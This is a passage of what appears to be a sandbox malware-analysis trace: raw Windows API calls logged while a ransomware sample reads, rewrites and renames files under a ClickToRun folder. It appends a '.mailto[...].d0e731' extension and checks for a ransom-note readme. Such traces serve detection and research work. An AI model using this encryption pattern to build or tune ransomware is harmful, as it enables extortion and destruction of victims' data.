_Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" [0084.129] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\d0e731-readme.txt")) returned 0x20 [0084.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494cf8) returned 1 [0084.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d0f8) returned 1 [0084.129] RtlExitUserThread (Status=0x1) Thread: id = 1131 os_tid = 0x7a4 [0082.788] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash")) returned 0x20 [0084.068] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash", dwFileAttributes=0x20) returned 1 [0084.081] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0084.082] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x282bf83c | out: lpFileSize=0x282bf83c*=102) returned 1 [0084.084] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.084] ReadFile (in: hFile=0x3d0, lpBuffer=0x282bf810, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x282bf810*, lpNumberOfBytesRead=0x282bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.093] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7f8 [0084.094] NtQuerySystemTime (in: CurrentTime=0x282bf7e8 | out: CurrentTime=0x282bf7e8*=132121176419923134) returned 0x0 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x49ceb812 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x8b5e6e46 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xaf96beed [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xbac26e61 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xf83e627f [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xd9cfd828 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x5bc22126 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x2b5a6c7f [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x85d74898 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x52eab749 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x1b775383 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xca7267dd [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x149a40cd [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x8274ce50 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xa98228b5 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x41999925 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x5fe88b8e [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x5cbcd020 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x70b93769 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x2763e73a [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x6e3d4807 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xe7debeff [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x9851e97a [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xd88ee2d9 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x31070583 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x39e03e79 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xa5ab9c3b [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x7597c57c [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xd5f4d3a1 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0x3424578b [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xe5f6f012 [0084.094] RtlRandom (in: Seed=0x282bf7f4 | out: Seed=0x282bf7f4) returned 0xd3334eb7 [0084.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.105] ReadFile (in: hFile=0x3d0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x282bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x282bf7e8*=0x66, lpOverlapped=0x0) returned 1 [0084.105] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x282bf7b0 | out: lpNewFilePointer=0x0) returned 1 [0084.105] WriteFile (in: hFile=0x3d0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x282bf7e4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x282bf7e4*=0x66, lpOverlapped=0x0) returned 1 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0084.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.105] WriteFile (in: hFile=0x3d0, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x282bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x282bf7e0*=0x20, lpOverlapped=0x0) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d8c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x342d8c0*, lpNumberOfBytesWritten=0x282bf80c*=0x8, lpOverlapped=0x0) returned 1 [0084.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x282bf824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x282bf824*, lpNumberOfBytesWritten=0x282bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x282bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x282bf80c*=0x6c, lpOverlapped=0x0) returned 1 [0084.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d898*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x342d898*, lpNumberOfBytesWritten=0x282bf80c*=0x20, lpOverlapped=0x0) returned 1 [0084.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x282bf80c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x282bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d848) returned 1 [0084.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8c0) returned 1 [0084.106] CloseHandle (hObject=0x3d0) returned 1 [0084.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x34226e8 [0084.106] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" [0084.107] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" [0084.107] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.107] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.107] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash", dwFileAttributes=0x20) returned 0 [0084.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.108] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0084.108] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" [0084.108] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\d0e731-readme.txt")) returned 0x20 [0084.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7fd8) returned 1 [0084.108] RtlExitUserThread (Status=0x1) Thread: id = 1132 os_tid = 0xd5c [0082.788] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20 [0084.067] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", dwFileAttributes=0x20) returned 1 [0084.067] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.067] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x2833fcd4 | out: lpFileSize=0x2833fcd4*=882628) returned 1 [0084.067] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd77c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.067] ReadFile (in: hFile=0x670, lpBuffer=0x2833fca8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x2833fca8*, lpNumberOfBytesRead=0x2833fca4*=0x4, lpOverlapped=0x0) returned 1 [0084.069] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7f8 [0084.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.069] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db18 [0084.069] NtQuerySystemTime (in: CurrentTime=0x2833fc80 | out: CurrentTime=0x2833fc80*=132121176419610122) returned 0x0 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x8316aecf [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x35faa436 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x8e999c17 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x985023c5 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xc18dde22 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x9935adcc [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x43552063 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xaa8fdb49 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x4f55cdcb [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x5357b3b2 [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x90e41c3c [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x38c1887d [0084.069] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x7a968ed6 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x913c9608 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xc146ad27 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x3aab8f16 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x24aebac [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xe67212e7 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xfc59cc87 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xef638d86 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xd334c620 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x36778789 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x31c953a4 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x26d56b8a [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xfa9d34a6 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xcda471ad [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xb9845985 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xa73ee659 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x357f1783 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0x647e2e8b [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xcc028645 [0084.070] RtlRandom (in: Seed=0x2833fc8c | out: Seed=0x2833fc8c) returned 0xc400ca7b [0084.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0084.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0084.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.081] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.081] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2833fc40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2833fc40*=0x4096, lpOverlapped=0x0) returned 1 [0084.082] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0084.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0084.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7f8 [0084.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0084.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0084.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7f8 [0084.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0084.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0084.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0084.083] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2833fc40, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2833fc40*=0x4096, lpOverlapped=0x0) returned 1 [0084.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.083] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.083] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2833fc40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2833fc40*=0x4096, lpOverlapped=0x0) returned 1 [0084.085] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc10 [0084.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db40 [0084.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db40) returned 1 [0084.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db40 [0084.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342da78 [0084.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342da78) returned 1 [0084.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc10) returned 1 [0084.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.085] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2833fc40, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2833fc40*=0x4096, lpOverlapped=0x0) returned 1 [0084.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.086] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd372e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.086] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2833fc40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2833fc40*=0x4096, lpOverlapped=0x0) returned 1 [0084.086] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd372e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0084.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34802a0 [0084.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342da78 [0084.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db68 [0084.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db68) returned 1 [0084.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0084.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0084.087] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2833fc40, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2833fc40*=0x4096, lpOverlapped=0x0) returned 1 [0084.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.087] WriteFile (in: hFile=0x670, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2833fc9c, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x2833fc9c*=0x20, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x342db40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2833fc9c, lpOverlapped=0x0 | out: lpBuffer=0x342db40*, lpNumberOfBytesWritten=0x2833fc9c*=0x20, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x342da78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2833fc9c, lpOverlapped=0x0 | out: lpBuffer=0x342da78*, lpNumberOfBytesWritten=0x2833fc9c*=0x20, lpOverlapped=0x0) returned 1 [0084.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) 